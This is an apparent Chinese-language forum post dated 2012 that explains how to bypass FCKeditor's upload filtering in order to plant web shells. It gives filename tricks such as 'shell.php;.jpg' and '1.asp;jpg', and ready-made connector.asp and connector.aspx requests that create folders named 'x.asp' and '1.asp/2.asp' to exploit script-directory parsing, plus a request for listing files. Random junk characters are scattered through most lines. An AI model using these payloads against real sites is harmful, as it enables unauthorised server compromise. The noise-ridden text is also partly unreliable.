很多时候上传的文件例如：shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化，试试上传 1.asp;jpg& q( i% {: s, i7 @$ I2 @2 w# j
; Z! @6 U v6 E& I2 x" w提交 shell.php+空格 绕过，不过空格只支持 win 系统 *nix 是不支持的，shell.php 和 shell.php+空格 是 2 个不同的文件，未测试。
5 j: T3 Y& i, s, E
Y! G* _( k" I c# O& u' `( x' I, X( C# S继续上传同名文件可变为 shell.php;(1).jpg，也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
3 D8 n( {4 ^3 ~( q6 j4 Q! Q6 \8 e u2 U) s
突破建立文件夹：7 Q: H! U& c* ]2 n j8 X6 b
J' g4 ^5 n# O6 w8 W3 H
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp
8 i i! r5 F4 Z6 G {% F: }8 k; H
, b Z0 W6 S) Y3 e参数：
& c" x% a/ y/ B- J0 ^
, Q4 Y* P8 d+ h9 `) O. J当前目录名：CurrentFolder=/qing.asp
+ Z3 G+ m% _! t6 L' b! P* ^0 W6 ?. @6 y( |- E
新的目录名：NewFolderName=x.asp, r2 }$ o2 A+ ^1 M5 o
/ Q5 Z9 u V& \ Y0 _其实很简单，在目录那里写 x.asp，然后点击新建目录在弹出来的对话框中随便写……
2 J9 P: z% Q* {* i# T; E1 [$ s
3 q# ]3 u. ^7 A+ f, X那么 x.asp 就已经建立生成了，此方法百试百灵！* o' O3 i8 s' [, v/ g
5 E3 Z: ?0 q# Q4 T+ K3 j# |
新建文件夹参数 x.asp，基本都能搞定。
+ t3 N1 w) p! D% p2 a5 Q% U
, f; ?% u5 Z4 h' x: k下面这句话是要在1.asp下建立2.asp，当不存在1.asp时会先创建，只过滤了目标目录的创建 而没有过滤不存在目录的创建
& R: ~9 d w& M6 @1 `8 B
* ]% q6 a; [. H2 ]% u$ easpx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp) y1 F e2 S! Z' ~, S, H2 \% T
7 b% P4 n% B2 T: [3 I S3 m0 X获取文件列表8 T- f" ~" ~! K2 T5 K
aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F& W( ?; P, a# |& x- H
1 G9 X9 q8 H8 ]% L( w |
发表于 2012-12-31 09:27:09
收藏
支持
反对